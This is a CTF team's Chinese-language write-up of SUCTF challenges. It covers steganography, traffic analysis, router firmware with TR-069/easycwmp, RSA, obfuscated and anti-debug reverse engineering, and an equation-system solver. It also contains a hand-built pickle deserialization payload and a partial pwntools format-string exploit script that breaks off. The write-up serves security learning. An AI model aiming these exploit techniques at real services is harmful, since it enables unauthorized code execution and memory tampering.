Team: De1ta

前排广告位:De1ta长期招 逆向/pwn/密码学/硬件/取证/杂项/etc. 选手,急招二进制和密码选手,有意向的大佬请联系ZGUxdGFAcHJvdG9ubWFpbC5jb20=

Misc

签到

from base64 import b64decode
a=open("1.txt","r").read()
c=open("1.png","wb")
c.write(b64decode(a))
c.close()

guess_game

一个猜数字游戏,题目提供了客户端和服务端。这个游戏有10轮,每轮猜0-10共11个数字,10轮全部猜中才出flag,直接碰撞不可能。

这题主要考察对 pickle 序列化的了解,读懂 pickle 的源代码,手工构造出相应 payload 即可。

RestrictedUnpickler.py 里重写了 find_class,对反序列化的对象位置进行了限制,只允许 guess_game 下的模块,而且不允许含 __ 的内置对象。

那么可以先反序列化一个 guess_game里的game对象,然后再反序列化一个 guess_game.Ticket里的Ticket类,参数 number 随便赋一个值(比如6),然后将 Ticket 赋值给 game的curr_ticket 覆盖服务端随机生成的 Ticket,最后我们再反序列化一次最开始反序列化的 Ticket,参数 number 赋相同值。

将以上反序列化过程,对照 pickle 源代码构造好一条语句,直接循环10次打过去,就能拿到flag。

构造好的 payload

ticket = b"\x80\x04cguess_game\ngame\nN(S'curr_ticket'\ncguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x06sbd\x86bcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x06sb."

Flag: flag{cabe5968-8143-4c45-91b7-557edab2ab4d}

game

index.html里有一句话:can u find my secret?
在两个js文件里搜,找到一个图片文件名:iZwz9i9xnerwj6o7h40eauZ.png,下下来,用Stegsolver看一下LSB,发现有一串字符:U2FsdGVkX1+zHjSBeYPtWQVSwXzcVFZLu6Qm0To/KeuHg8vKAxFrVQ==,根据U2FsdGVkX1猜测是密文,试了一下,3DES,密钥是index.html中的字符串ON2WG5DGPNUECSDBNBQV6RTBNMZV6RRRMFTX2===的b32decode,解开可得flag

flag: suctf{U_F0und_1t}

protocol

简单看一下流量包,发现有很多png,foremost提取出来,图片有两种,一种是一个字符的镜面图片,另一种是空白图片,并且每隔15张字符图片后有10张空白图片。重新审计流量包,发现传输每张图片的流量的数据部分第3个字节有一定的变化规律,遂将该字节相同的空白图片与字符图片一一对应,即得flag。

flag: suctf{My_usb_pr0toco1_s0_w3ak}

homerouter

先试着用binwalk提取下发的路由器固件,能看到文件:

这个时候能看到有个那么不常见的东西:

能看到配置文件里有个不寻常的东西:

EasyCwmp is a GPLv2 open source implementation of the TR069 cwmp standard.

这个时候就大概能猜想要去利用easycwmp来连接一下服务器看看会有什么。可以选择用qemu来跑固件,比较省事。还有个比较不那么靠谱的方法就是用Burp一类的工具模拟协议发包和服务器交互了。

有关更多信息,可以查看这里或者Google。

TR069之CPE與ACS的Digest驗證

TR-069 协议完整的通信过程

由于这边不知道为啥qemu有点问题跑不起来,于是乎拿了一个路由器和一个软路由试了一下,下面都记录了。比赛的时候是用的一台平时折腾用的Phicomm K2,之前刷了PandoraBox,于是直接SSH上去。

使用PandoraBox

由于PandoraBox有预编译的包,所以可以直接:

opkg update
opkg install easycwmp

然后编辑/etc/config/easycwmp里的acs相关的配置。串号随意改一个就好了。

这个时候如果尝试直接跑easycwmp -f -b的话可能会没有反应就退出了,好像是因为这里的easycwmp自己已经启动了。只好ps看一下进程,然后把它kill掉。

这个时候应该能正常用了,不过我这边没有输出,像卡住了一样,搜了一下发现应该去看syslog。于是先开着:

logread -f

然后改了个串号再开easycwmp -f -b。如果发现日志里出现Error reading ca cert file的话,可以:

opkg install ca-bundle

然后重试上面的步骤。如果/usr/share/easycwmp/functions下的文件里有system_set_password root的话(没有的话就去把固件里的/usr/share/easycwmp/functions/system复制一份过来),应该能在日志里读到:(就是下发配置修改root密码)

最后...接下来你可能会因为接下来登录不了SSH和LuCI而怀疑人生,不要慌,因为它帮你把密码设置成了flag...

使用OpenWRT软路由

这个只要搞个虚拟机就可以跑,比较简单。没有的话可以先下载一下镜像:Index of /snapshots/targets/x86/64/。(其实也可以玩玩Koolshare的LEDE)

具体安装方法可以看这里:Run OpenWrt as a VirtualBox virtual machine

主要就是解压,然后转盘:

VBoxManage convertfromraw --format VDI openwrt-x86-64-combined-squashfs.img openwrt-x86-64-combined-squashfs.vdi
'C:\Program Files\Oracle\VirtualBox\VBoxManage.exe' convertfromraw --format VDI openwrt-x86-64-combined-squashfs.img openwrt-x86-64-combined-squashfs.vdi

然后VirtualBox新建虚拟机,使用已存在的虚拟硬盘文件即可。启动前需要保证网卡1是仅主机(Host-only)适配器,网卡2是NAT,不然可能上不了网。(Koolshare的好像不大一样,自己看文档吧)

要是启动后网络还是有问题就:

uci show network

看一下。可以:

uci set network.lan.ipaddr='192.168.56.2'
uci commit
reboot

把不对的改掉。

然后就可以来装easycwmpd了。现在没有预编译的包了,只好自己编译。

x86_64/easycwmp_1.8.1

x86_64/libmicroxml

i386/easycwmp_1.8.1

i386/libmicroxml

这里贴一下自己编译的,可以直接下载对应架构的,然后:

opkg install xxx.ipk

非要自己编译的话就看着这里(pivasoftware/easycwmp)的README编译吧。需要先git clone https://github.com/openwrt/openwrt,然后把easycwmp-openwrtmicroxml的压缩包解压到openwrt/package下,这个时候在openwrt目录下执行:

make menuconfig

应该就能在Utilities里找到easycwmpd了。根据自己的需要进行make即可。

安装完成后的操作就和在PandoraBox下差不多了,就是改配置,然后读日志,再启动客户端就好了。

RE

signup

gmp库计算RSA

直接在factordb分解N

from Crypto.Util.number import inverse
p = 282164587459512124844245113950593348271
q = 366669102002966856876605669837014229419
n = p*q
phi = (p-1)*(q-1)
e = 65537
d = inverse(e,phi)
c = 0xad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35
m = pow(c,d,n)
print(hex(m)[2:-1].decode("hex"))

hardcpp

用ollvm混淆过的c++代码。

开头给了一个类似哈希的东西,先不管。

ollvm中应该开了运算混淆,流程平坦化和一些虚假分支,调试一下发现主要流程就在那一堆lamda那里。

输入一共21位长度,从下标为1开始加密,和之前一位进行一些四则运算,然后和enc比较,enc一共20位。

这些四则运算都是可逆的,所以知道一位就能求出下一位,只需要爆破下标为0的字符,即可求出flag

enc = [  0xF3, 0x2E, 0x18, 0x36, 0xE1, 0x4C, 0x22, 0xD1, 0xF9, 0x8C,
  0x40, 0x76, 0xF4, 0x0E, 0x00, 0x05, 0xA3, 0x90, 0x0E, 0xA5]

for j in range(256):
    a = [j]
    for i in range(0,20):
        a.append(((enc[i] ^ ((a[i]^18)*3+2))-(a[i]%7))&0xff)
    s = "".join(map(chr,a))
    if "flag" in s:
        print(s)

查一下md5发现是井号,也就是第一个字符。

Akira Homework

程序有多处反调试,以及多处check,通过这些check会还原一个dll,后面多线程会进入这个dll最终到一段aes的逻辑得到flag。

程序中的字符串都被某一个字符异或加密了,所以搜不到字符串,但是可以对key数组查找引用找到所有加密的字符串。

做法以调试为主,先把地址随机化关掉,然后在所有Isdebuggerpresent和exit处下断点查看,基本遇到的反调试直接nop/jmp掉

开始的tls回调函数会解密四个字符串NtQueryInformationProcess,ZwQueryInformationThread,NtQueueApcThread和ntdll.dll。查找这些字符串的引用可以在后面看到用GetProcAdreee获取这些函数地址。但是使用ida调试的时候,tls回调函数被多次调用了,可能是后面多线程的关系,导致这些字符串被重复加密,到最后就没被还原去使用了,所以在这里打断点,第一次停下的时候执行解密,之后每次停下都直接set ip到最后ret

main函数逻辑较为简单:开头起了多线程,先看主线程的逻辑:

先输入一串passwd,经过一串简单的加密,解密出来是

Akira_aut0_ch3ss_!

之后第二个check会获取当前目录,在后面加一个:signature后打开,比如/WinRev.exe:signature,从中获取内容并md5校验。md5解出来是Overwatch问了下队里师傅,冒号说是文件流,可以通过以下指令写入:

type 1.txt >> WinRev.exe:signature

1.txt中放要写入的内容。把"Overwatch"字符串写入后就能通过check。

注意到两个check通过后都会调用sub_140006C10函数,里面调用了某个函数,下断跟进后发现是这两个函数

sub_140008910sub_1400089E0他们对全局变量unk_1400111A0进行了解密,然后SetEvent一个Handles变量,这个变量一共又三个。通过查找他的交叉引用以及sub_140006C10函数的引用,发现在开头起的多线程里面sub_140008B20又被调用了。简

单分析下这个函数,发现这里md5了什么东西并和一些md5值校验,相等则直接exit。这里可以猜到md5的可能是进程名,如果有ida.exe等进程则退出,通过下断点调试也能发现,在退出时可以看到md5的内容是ida64.exe。通过进程名校验后会调用sub_140006C10解密。判定了一个全局变量,所以只会解密一次。

全部通过这三个校验并完成,会看到解密完的结果有pe头。dump出来是个dll

之后main函数就没啥用了,sleep挂起。为了方便调试,可以修改sleep的时间,调大一些。

接下来主要是另一个线程中干的事了。分析beginthreadex的起始函数,注意到里面有个sub_140009850中信息很多。发现了DllInput以及校验了MZ字符。开头他在等待三个Handles设定完毕。但进入这个函数的条件byte_140016198一直没找到在哪设置。分析sub_140008D20函数,他会调用参数一函数指针,查找这个全局变量的引用,看到它是在sub_140009C20中被设置,同样的还有qword_140016178qword_140016180,他们最终被sub_140008850设置成一开始tls回调函数解密的NtQueryInformationProcess,ZwQueryInformationThread和NtQueueApcThread,当他们都被成功设置后,就能成功进入sub_140009850的逻辑了。

如果wait到一个258的信号,会提示time out并推出,所以之前sleep要改长一点。

单步调试发现到sub_140007D80里面会获取输入,逐步f8跟进最终来到sub_180002880是最后的逻辑:

__int64 sub_180002880()
{
  __int64 v0; // rax
  __int64 v2; // [rsp+0h] [rbp-B8h]
  __int64 v3; // [rsp+20h] [rbp-98h]
  __int64 v4; // [rsp+30h] [rbp-88h]
  __int64 v5; // [rsp+38h] [rbp-80h]
  __int64 v6; // [rsp+40h] [rbp-78h]
  __int64 v7; // [rsp+48h] [rbp-70h]
  char v8; // [rsp+50h] [rbp-68h]
  char v9; // [rsp+68h] [rbp-50h]
  char v10; // [rsp+80h] [rbp-38h]
  __int64 v11; // [rsp+90h] [rbp-28h]

  memset(&v8, 0, 0x11ui64);
  ucrtbase_puts("Now check the sign:");
  sub_1800027A0("%32s", &v8);
  v5 = kernel32_OpenEventW(2031619i64, 1i64, L"DLLInput");
  if ( v5 )
  {
    kernel32_WaitForSingleObject(v5, 0xFFFFFFFFi64);
    kernel32_CloseHandle(v5);
    v4 = kernel32_OpenFileMappingW(983071i64, 0i64, L"ShareMemory");
    if ( v4 )
    {
      v3 = 0x8000i64;
      kernel32_MapViewOfFile();
      v7 = v0;
      if ( v0 )
      {
        kernel32_CloseHandle(v4);
        v6 = ucrtbase_malloc(0x8000i64);
        vcruntime140_memset(v6, 0i64, 0x8000i64);
        vcruntime140_memcpy(v6, v7, 0x8000i64);
        strcpy(&v10, "Ak1i3aS3cre7K3y");
        memset(&v9, 0, 0x11ui64);
        sub_180002800(&v10, &v9, v6);
        if ( (unsigned int)ucrtbase_strcmp(&v9, &v8) )
          sub_1800026F0("wow... game start!\n");
        else
          sub_1800026F0("Get finally answer!\n");
      }
      else
      {
        kernel32_CloseHandle(v4);
      }
    }
  }
  return sub_180002AB0((unsigned __int64)&v2 ^ v11);
}

其中sub_180002800很容易看出是aes,密文是之前另一个线程里面看起来很像密文的东西,key就在这里。由于这里获取输入后直接跟解密后的明文比较,所以不需要自己解密,在strcmp下断点就能看到flag了:

flag{Ak1rAWin!}

babyunic

使用unicorn引擎,翻一下unicorn源码可以得知几个函数及参数的意思

https://github.com/unicorn-engine/unicorn/blob/master/include/unicorn/unicorn.h

https://github.com/unicorn-engine/unicorn/blob/master/include/unicorn/mips.h

可以得知架构是mips,大端序

输入的flag与结果分别被写到两个地址,分别作为指针通过a0和a1传入,然后设置了fp和sp的值。代码写到另一个地址,然后开始执行。最后从结果处读数据与常量对比。

ida自带有mips大端序处理器模块,使用retdec插件可以反编译,但是效果不是很好。

不过代码逻辑特别简单,很容易能看懂。

先是循环左移三位,然后异或下标,最后互相加减计算出42个结果。

因此只需解42元方程组。

编写脚本提取出方程组:

bg = 0x00000378
end = 0x00007058
addr = bg

def next_instr(addr):
    return addr+ItemSize(addr)
counter = 0
counter_c = 1

while(addr<end):
    counter = 0
    print "flag[0]",
    while(True):
        next = next_instr(addr)
        mnem = GetMnem(addr)

        if 'addiu' in mnem:
            counter+=1
        elif 'addu' in mnem:
            print "+ flag[%d]"%counter,
        elif "subu" in mnem:
            print "- flag[%d]"%counter,
        if "sw" in GetDisasm(addr):
            print("== cipher[%d]"%counter_c)
            addr = next
            addr = next_instr(addr)
            addr = next_instr(addr)
            break
        addr = next
    counter_c+=1

然后用文本操作提取出矩阵,解出flag

from numpy import *
from struct import unpack
A = mat([[1,1,1,-1,1,-1,-1,-1,-1,1,1,-1,1,-1,-1,1,-1,-1,1,1,-1,1,1,1,1,-1,1,-1,1,1,-1,-1,1,-1,1,1,-1,-1,1,-1,1,1],
[1,-1,1,-1,-1,1,-1,-1,-1,-1,1,-1,1,-1,-1,1,-1,-1,1,-1,1,1,-1,-1,-1,1,-1,1,-1,-1,1,1,1,1,1,1,-1,-1,-1,-1,-1,1],
[1,-1,1,1,-1,1,-1,-1,1,-1,-1,-1,-1,-1,1,-1,-1,1,1,1,1,1,-1,1,1,1,1,-1,1,-1,1,-1,1,1,-1,-1,1,1,1,-1,1,-1],
[1,-1,-1,-1,-1,-1,1,1,-1,-1,-1,-1,1,-1,1,-1,1,-1,1,1,1,-1,1,1,1,-1,-1,1,-1,1,1,-1,-1,-1,1,-1,1,1,1,-1,1,1],
[1,-1,-1,1,-1,-1,1,1,1,1,-1,1,1,-1,1,-1,1,1,-1,1,-1,1,-1,-1,-1,1,-1,-1,-1,1,1,1,-1,1,-1,-1,1,-1,1,-1,-1,-1],
[1,1,1,1,1,1,1,1,1,-1,-1,-1,-1,-1,-1,1,-1,1,-1,1,1,-1,1,-1,1,-1,1,1,-1,1,-1,1,1,1,-1,-1,-1,1,-1,-1,1,1],
[1,-1,1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,-1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,-1,-1,1,-1],
[1,1,-1,-1,-1,1,1,-1,1,1,-1,1,-1,1,-1,1,-1,1,-1,-1,1,-1,1,-1,-1,1,-1,1,1,1,1,1,1,-1,1,-1,1,1,1,1,-1,-1],
[1,-1,-1,1,1,-1,1,1,1,1,1,-1,-1,1,-1,1,1,1,1,-1,1,1,-1,-1,1,1,1,-1,1,-1,-1,-1,-1,-1,1,-1,-1,1,-1,-1,1,-1],
[1,1,1,-1,1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,-1,-1,1,1,-1,-1,-1,1,-1,-1,-1,1,1,1,-1,1,1,-1,-1,-1,-1,1,-1,1,1],
[1,-1,1,1,-1,-1,1,1,-1,-1,-1,-1,1,1,1,-1,1,-1,1,1,1,-1,1,-1,-1,-1,1,-1,-1,1,-1,1,1,-1,-1,1,-1,-1,1,-1,1,1],
[1,-1,1,1,1,-1,1,1,-1,1,1,-1,-1,-1,-1,1,-1,-1,-1,1,1,-1,1,-1,1,1,1,1,-1,1,1,-1,-1,-1,-1,-1,1,1,-1,-1,-1,-1],
[1,-1,-1,-1,1,-1,-1,1,1,-1,1,-1,-1,-1,1,-1,1,-1,1,-1,-1,-1,-1,1,-1,1,-1,1,-1,1,-1,-1,1,1,1,-1,-1,-1,-1,1,-1,-1],
[1,-1,1,-1,1,-1,1,-1,1,-1,1,-1,1,1,1,1,-1,-1,-1,1,1,1,-1,-1,1,1,-1,-1,1,1,-1,-1,-1,1,-1,-1,1,-1,-1,-1,1,-1],
[1,1,1,-1,-1,-1,1,-1,1,1,1,-1,1,-1,-1,1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,1,-1,-1,-1,1,1,1,1,1,1,1,-1,-1,-1],
[1,-1,1,1,1,1,-1,1,-1,-1,-1,1,1,1,-1,-1,-1,1,-1,-1,-1,-1,1,1,1,1,1,1,-1,-1,-1,-1,1,-1,1,1,1,1,-1,1,1,-1],
[1,-1,1,1,-1,-1,1,1,1,1,1,-1,1,-1,1,1,1,-1,1,-1,1,-1,-1,-1,-1,-1,1,1,1,1,-1,-1,1,-1,-1,1,-1,1,-1,1,-1,1],
[1,1,1,1,1,-1,1,1,1,-1,-1,1,-1,1,1,1,-1,1,-1,-1,1,-1,1,-1,-1,1,-1,1,-1,1,-1,-1,1,-1,-1,1,-1,1,-1,1,1,-1],
[1,-1,-1,-1,1,1,-1,1,-1,1,1,-1,-1,-1,1,-1,-1,1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,-1,-1,1,-1,-1,-1,-1,-1,-1,1],
[1,1,1,1,-1,-1,1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,-1,1,1,1,1,1,-1,1,-1,-1,-1,1,1,-1],
[1,1,-1,-1,-1,1,-1,1,-1,-1,1,1,-1,-1,1,-1,-1,1,-1,-1,1,1,-1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,1,-1,1,1,-1,1,-1,1,-1],
[1,-1,-1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,1,-1,-1,1,-1,1,1,1,-1,-1,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,1,-1,-1,-1,1],
[1,1,1,1,1,1,1,1,-1,1,-1,1,-1,1,1,1,-1,1,1,-1,-1,1,1,-1,1,-1,-1,1,-1,1,1,1,-1,1,-1,-1,-1,-1,1,-1,1,1],
[1,-1,1,1,-1,-1,-1,-1,1,-1,-1,1,1,-1,-1,1,-1,-1,1,1,-1,-1,1,-1,1,1,-1,1,-1,1,1,-1,-1,-1,-1,-1,-1,-1,1,-1,-1,-1],
[1,1,-1,1,1,-1,1,1,-1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,1,1,1,1,1,-1,-1,-1,1,1,-1,1,1,1,-1,-1,-1,-1,1,1,-1],
[1,-1,1,1,-1,1,1,-1,1,1,1,-1,-1,1,-1,1,-1,1,1,1,-1,-1,1,1,-1,-1,1,-1,1,-1,1,-1,-1,1,-1,-1,-1,-1,1,-1,1,1],
[1,1,1,1,1,-1,-1,1,-1,-1,-1,-1,1,-1,1,-1,1,-1,1,-1,-1,1,1,1,1,1,-1,-1,-1,-1,1,1,-1,-1,-1,1,1,-1,-1,1,1,1],
[1,-1,1,-1,1,-1,-1,-1,-1,-1,-1,-1,1,1,-1,1,1,1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,1,-1,-1,-1,-1,1,-1,-1,-1,-1,-1,-1],
[1,-1,1,1,1,-1,1,1,-1,-1,1,1,-1,1,-1,1,-1,1,1,1,-1,-1,1,-1,-1,-1,-1,1,-1,-1,-1,1,-1,-1,1,1,1,-1,-1,1,1,1],
[1,1,-1,-1,-1,1,1,1,-1,1,-1,-1,1,-1,1,1,-1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,1,1,1,-1,-1,1,1,-1,1,1,-1,1],
[1,1,1,1,-1,-1,-1,-1,1,1,-1,-1,-1,1,-1,-1,1,-1,-1,-1,1,-1,-1,1,1,-1,-1,1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,1,1,1],
[1,1,-1,1,1,-1,-1,1,1,1,1,1,1,-1,-1,-1,1,1,1,1,-1,1,-1,1,-1,-1,1,1,-1,1,-1,-1,-1,1,-1,1,-1,1,-1,1,-1,-1],
[1,-1,1,1,-1,1,1,1,1,-1,1,1,-1,1,1,-1,1,-1,1,1,1,-1,-1,1,-1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,1,1,-1,1,-1,1],
[1,-1,-1,1,1,1,1,-1,-1,1,1,1,-1,-1,1,1,-1,1,-1,1,-1,1,1,1,-1,-1,1,1,-1,1,-1,-1,-1,-1,-1,-1,1,-1,1,-1,-1,-1],
[1,1,-1,1,-1,-1,-1,1,1,1,1,1,-1,-1,-1,1,-1,1,-1,1,-1,-1,1,1,-1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,-1,1,1,1,-1,-1],
[1,-1,1,1,1,-1,-1,1,1,-1,-1,1,1,1,-1,-1,1,-1,1,1,-1,-1,-1,1,1,-1,-1,1,1,-1,-1,1,1,-1,1,1,1,1,1,1,-1,-1],
[1,1,1,-1,-1,-1,-1,1,1,1,-1,1,1,-1,1,1,1,1,1,1,1,1,-1,-1,1,-1,-1,-1,-1,1,1,1,1,-1,-1,-1,-1,1,-1,1,1,-1],
[1,-1,-1,1,-1,1,-1,-1,-1,-1,1,-1,-1,-1,-1,-1,-1,1,1,-1,-1,-1,1,-1,1,-1,-1,1,-1,-1,1,1,-1,1,-1,1,-1,-1,1,-1,-1,-1],
[1,1,1,1,-1,1,1,1,-1,-1,-1,1,1,1,-1,-1,-1,-1,-1,-1,1,1,-1,1,1,1,1,1,-1,-1,1,1,-1,-1,1,-1,-1,-1,1,1,1,-1],
[1,-1,-1,-1,-1,1,-1,-1,-1,1,-1,1,-1,1,1,-1,-1,-1,1,1,1,1,1,-1,1,1,1,1,1,-1,1,1,1,1,1,-1,-1,1,1,1,-1,1],
[1,-1,-1,-1,1,1,1,-1,1,1,-1,1,-1,-1,-1,1,1,1,1,1,1,1,1,-1,1,1,-1,1,1,-1,1,1,1,-1,-1,1,1,-1,1,1,1,1],
[1,1,1,1,1,1,1,-1,-1,-1,1,1,-1,1,-1,-1,-1,-1,-1,-1,1,-1,1,-1,-1,1,1,1,1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,1]])
res = "FFFFFF94FFFFFF3800000126FFFFFF28FFFFFC1000000294FFFFFC9E000006EA000000DC00000006FFFFFF0CFFFFFDF6FFFFFA82FFFFFCD000000182000003DE0000014E000002B2FFFFF8D800000174FFFFFAA6FFFFF9D4000001C2FFFFF97C0000035A00000146FFFFFF3CFFFFFA14000001CE000007DCFFFFFD48000000980000085EFFFFFDB0FFFFFFBC0000036EFFFFFF4EFFFFF836000005C0000006AE0000069400000022".decode("hex")
y = []
for i in range(42):
    tmp = res[i*4:i*4+4]
    tmp = unpack(">i",tmp)[0]
    y.append(tmp)
B = mat(y)

B = B.reshape(42,1)
B = A.I*B
B = B.reshape(1,42)
B = B.tolist()[0]
for i in range(42):
    B[i] = int(round(B[i]))
    B[i]^=i
    B[i] = (B[i]>>3)|(B[i]<<5)
    B[i]&=0xff
print("".join(map(chr,B)))

Rev

不太懂c++,瞎调。

首先在00000001400016A3有两个check,一开始不知道干啥的,随便试

后面看到sub_140002B80里面有isspace和ispunct,猜测跟符号有关。瞎调调出来是用符号分割成几部分,第一个校验3部分,第二个校验第一部分的长度10

之后在0000000140001763附近把第一组异或了0xAB,然后和常量对比。然而常量只有5字节,实在想不出还有啥东西了,就直接跳过了

下一部分校验长度4,然后校验大写字母,然后是A-G,后一字节依次比前一字节大2,得出ACEG

最后一部分先是atoi,然后校验偶数,和两个方程。直接z3求出。

from z3 import Solver
s = Solver()
x = BitVec("x",32)
s.add(x&1==0)
s.add(((0x4D2 * x + 0x162E) / 0x112C ^ 0xABCDDCBA) == 0xABCDB8B9)
s.add(((0x91E * x + 0x2693) / 0x1E61 ^ 0x12336790) == 0x1233FC70)
print(s.check())
print(s.model())

得到flag:

suctf{ACEG31415926}

Pwn

playfmt

flag在堆上格式化字符串读出来就可以

from pwn import *

context.log_level = "debug"
main_ebp_offset = 26

def format_offset(format_str , offset):
    return format_str.replace("{}" , str(offset))

def get_target(offset , name):
    payload = format_offset("%{}$p\x00" , offset)
    p.sendline(payload)
    text = p.recv()
    try:
        value = int(text.split("\n")[0] , 16)
        print(name + " : " + hex(value))
        return value
    except Exception, e:
        print text

def modify_byte(last_byte , offset):
    payload = "%" + str(last_byte) + "c" + format_offset("%{}$hhn" , offset)
    p.sendline(payload)
    p.recv()

def modify(addr , value , ebp_offset , ebp_1_offset):
    addr_last_byte = addr & 0xff
    for i in range(4):
        now_value = (value >> i * 8) & 0xff
        modify_byte(addr_last_byte + i ,  ebp_offset)
        modify_byte(now_value , ebp_1_offset)

p = process("./playfmt")
#elf = ELF("./playfmt")
#p = remote("120.78.192.35",9999)
elf = ELF("./playfmt")
p.recvuntil("=\n")
gdb.attach(p)

raw_input()
play_ebp_addr = get_target(6,  "ebp")

raw_input()
点击收藏 | 2 关注 | 2
登录 后跟帖